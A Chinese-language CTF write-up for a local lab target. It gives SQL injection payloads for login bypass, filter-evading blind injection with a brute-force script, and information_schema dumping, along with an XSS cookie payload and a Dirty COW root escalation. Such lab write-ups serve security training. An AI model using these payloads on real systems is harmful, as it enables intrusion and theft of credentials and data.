CTF Penetration Writeup 2
0x00 前言
比赛入口:
1 | http://192.168.50.133/intro.html |
代码部分:
Flag A level 0: https://pastebin.ubuntu.com/p/HDWBHp3cRY/
Flag A level 1: https://pastebin.ubuntu.com/p/sv2DXCqjTN/
Flag B&C: https://pastebin.ubuntu.com/p/cCrgMFhVTK/
Flag D:
Flag E:
0x00 Flag A
这个题的目的很简单——登陆系统。我们可以从代码中看出,三个level用的都是相同的登陆逻辑,只不过是对输入内容的过滤措施不一样而已。我们挨个等级来看一下。
level 0: FLAG_A0_13FFEDE591_A
从代码中我们可以看到,level0的反注入措施只是仅仅将输入中的空格去掉了。我们可以使用块注释符来代替空格:
输入的用户名为:
1 | -- md5('123')='202CB962AC59075B964B07152D234B70' |
输入的密码为:123
上述用户名和密码拼接到SQL中,如下:
1 | SELECT username, password FROM user WHERE username='123'/**/UNION/**/SELECT/**/'shaoqunliu','202CB962AC59075B964B07152D234B70'#' |
这个SQL的前半句不会有任何的返回,UNION
后的语句则返回用户名为shaoqunliu
,密码hash为202CB962AC59075B964B07152D234B70
,也就是我们提前计算好的123的hash值。由此,我们就可以以一个错误的密码登陆shaoqunliu
这个账户。
level 1: FLAG_A1_EF47A7FB2B_LL
level 1是我大二的时候给我们学校校赛出的原题。
level1的反注入措施不仅去掉了空格,而且还去掉了*
号,这样我们就无法使用块注释法来代替空格。而且也去掉了#
,这样我们添加单引号后,也无法通过结尾注释法来消除原本就存在在末尾的单引号。除此之外,其还去掉了包括UNION
在内的一众SQL关键字。这样我们就得想想办法了。
首先,我们观察一下代码逻辑:
1 | $username = anti_sql_injection($inp_id, $inp_level); |
我们发现,当SQL语句没有返回任何数据的时候,其会输出“用户名错误”,当其输出一条数据且密码不正确的时候,其会输出“密码错误”。所以,我们可以透过其输出值是否为“用户名错误”,来判断这条SQL语句到底有没有产生输出。这样,我们就找到了布尔注入的一个先决条件——布尔值。
用户输入的密码,经MD5算法散列后,其会输出一个长度为32的字符串,这个字符串中每一个字符的取值范围都是0-9以及A-F,也就是16进制数的字符。这样的话呢,我们就得想办法把密码Hash给猜出来。在MySQL中,我们可以使用substr
函数来截取子字符串。
我们先忽略其它限制条件,当用户名的输入为shaoqunliu'AND SUBSTR(password, 1, 1)='?
时,拼接后的SQL语句为:
1 | SELECT username, password FROM user WHERE username='shaoqunliu' AND SUBSTR(password, 1, 1)='?' |
在如上SQL语句中,当username
为shaoqunliu
的时候,并且?
处的字符为数据库中密码hash串的第一个字符时,这条SQL语句是有输出的。在外面看,其会返回“密码错误”。当?
处的字符不为正确密码hash的第一个字符时,这条SQL是不会有输出的,从外面看,其会返回“用户名错误”。
这样呢,我们就可以对密码字段,一个字符一个字符地去尝试,至多尝试$ 32\times 16=512$次即可试出密码hash串来。有了这个思路,我们再来看这个题的危险字符屏蔽逻辑:
1 | $filter = "/ |\*|#|,|union|like|sleep|ascii|regexp|for|and|file|--|\||`|&|" . urldecode('%09') . "|" . urldecode("%0a") . "|" . urldecode("%0b") . "|" . urldecode('%0c') . "|" . urldecode('%0d') . "/i"; |
首先,你没法用逗号,SUBSTR(password, 1, 1)
里面的逗号用不了了,我们可以使用FROM ... FOR ...
来代替,上述截取字符串逻辑即可写成SUBSTR(password FROM 1 FOR 1)
。然后突然发现,你FOR
也用不了,于是我们只能倒着推导密码字符串,也就是使用SUBSTR(password FROM 32)
,从32到1,每次试验前将之前试对的字符都拼接在要试验的字符后面。
逗号的问题和FOR
的问题解决了,我们发现我们AND
也用不了,同时被屏蔽的还有AND
的替代字符&
。AND
可以用子查询配合等号来替代,我们先来试着写一下子查询,子查询需要保证的条件就是当用户名为shaoqunliu
且密码hash串的后几位为?
的时候返回true
,在不符合上述条件时无返回,且不能使用AND
,如下:
1 | SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?' |
然后我们再将上述子查询用连等号连接起来,植入原始的SQL中,我们姑且先用#
注释符消除掉最后的那个'
给整个SQL带来的影响,如下:
1 | SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')#' |
当SQL执行器执行这条SQL,且扫描到用户名为shaoqunliu
的那一行的时候:
- 如果密码hash串的后几位恰好为
?
,则等号的前半部分返回值为1,后半部分返回值亦为1,所以整个WHERE
子句的值为真,整个SQL有返回。 - 如果密码hash串的后几位不为
?
的时候,等号的前半部分为1,后半部分返回值为NULL
,整个SQL无返回。
当SQL执行器扫描到用户名不为shaoqunliu
的其它行的时候,对于子查询而言,SELECT 1 FROM user WHERE username='shaoqunliu'
返回值首先就为NULL
,接着就会导致整个子查询部分返回NULL
。因此在这种情况下SQL是无返回的。
背景知识:
在SQL中
NULL
与任何数做比较结果都只能是NULL
。例如SQL:SELECT NULL=0, NULL=1, NULL<1, NULL>1
的返回结果就为4个NULL
。
解决了AND
不能用的问题呢,我们再来看一下我们的SQL,我们需要解决的下一个问题,即是#
注释符不能用了,而且--
也被屏蔽了,所以我们需要采用别的手段来消除掉最后那个’
。我们前面已经使用了一个等号,而且SQL是支持连等的,所以我们可以通过='
或者!='
来消除最后的'
,而且此时我们还必需保证对前半部分的语义没有影响。我们先假设用='
来处理:
1 | SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')='' |
首先,SQL解释器对于这种连等是自左向右解析处理的,也就是上述语句与下述语句是等价的:
1 | SELECT username, password FROM user WHERE ((username='shaoqunliu')=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?'))='' |
我们将我们之前写好的前半部分,也就是((username='shaoqunliu')=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?'))
,作为一个整体X
,对于等式,X=''
,X
处的内容只有为0或者它自身的时候,等式才为true
。
在我们之前约定的条件中,我们需要当用户名为shaoqunliu
且密码hash串的后几位恰好为?
时,SQL才能有返回,也就是WHERE
子句的值为1。而这个时候,前半部分,也就是整体X
的值为为1,1=''
的值为0,恰好不符合我们的要求,所以我们在此处填充的应该是!='
。走完这一步,我们得到了如下SQL:
1 | SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT 1 FROM (SELECT 1 FROM user WHERE username='shaoqunliu') C WHERE SUBSTR(password FROM 32)='?')!='' |
再如下时,我们又将遇到一个难题,就是输入部分不允许使用空格,而且过滤逻辑中屏蔽了星号,块注释法也不再好使了。我们可以用括号代替空格,如下:
1 | SELECT username, password FROM user WHERE username='shaoqunliu'=(SELECT(1)FROM((SELECT(1)FROM(user)WHERE(username='shaoqunliu'))C)WHERE(SUBSTR(password FROM 32)='?'))!='' |
这样,用户名部分的最终payload即为:
1 | shaoqunliu'=(SELECT(1)FROM((SELECT(1)FROM(user)WHERE(username='shaoqunliu'))C)WHERE(SUBSTR(password FROM 32)='?'))!=' |
根据如上思路,我们即可写出如下脚本进行快速尝试:
1 | import requests |
输出如下:
1 | 32: 2 |
然后我们知道了shaoqunliu
这个账户,密码的MD5值为A61A78E492EE60C63ED8F2BB3A6A0072
,我们找了一个线上的MD5彩虹表网站——CMD5,经过彩虹表反查得知此hash所对应的密码值为pa$word
。就这样,我们即可使用这个用户名密码登陆系统啦。
0x01 Flag B
评论区回显SQL注入flag: FLAG_B_ABE3999582_FLAGS
找表名
1 | -1' UNION SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.TABLES WHERE TABLE_NAME LIKE '%flag% |
得知flag在CTF库中的sqli_flag
表中
找字段
1 | -1' UNION SELECT TABLE_NAME, COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='sqli_flag |
得知有2个字段,一个名为id
,一个名为flag
查表
1 | -1' UNION SELECT id, flag FROM ctf.sqli_flag # |
0x02 Flag C
评论区XSS偷Cookie flag: FLAG_C_5350B1CA22_HAVE
1 | </h4><script>alert(document.cookie)</script><h4> |
0x03 Flag D
文件上传漏洞,非400 flag: FLAG_D_72F305FA3D_BEEN
0x0 Flag E
文件上传漏洞,内核提权flag: FLAG_E_AA8F3832A2_CAPTURED
这是个内核提权漏洞,我们需要有root权限才能读取flag文件中的内容。显然,既然有这道题,说明这个系统一定有内核提权漏洞。我们先来通过命令查看当前Linux系统版本:
1 | ubuntu@ubuntu:~$ uname -a |
我们可以看出,当前系统的发行版是2014年的。众所周知,脏牛漏洞,也几乎是Linux中最出名的一个内核提权漏洞,其所影响的版本覆盖到2007-2016这9年间几乎所有的Linux发行版。正好,我们靶机的这个系统正处在脏牛漏洞的影响范围内。
我们只需要在Google中搜索dirty cow exploit,就能找到相关的漏洞POC,然后编译执行POC程序,即可完成利用过程,如下所示:
1 | ubuntu@ubuntu:~$ whoami |
程序编译执行完成之后,我们再次执行whoami
命令,即可看到,我们已经以提权为root
账号了。
在制作靶机时遇到一个问题,在执行脏牛POC提权为
root
之后,用不了多久系统就会hang住,ssh也断开连接,VMware的虚拟机屏幕也无法正常使用。为提高靶机在非法提权后的稳定性,靶机内已经提前关闭系统的回写机制:
1 echo 0 > /proc/sys/vm/dirty_writeback_centisecs参考资料: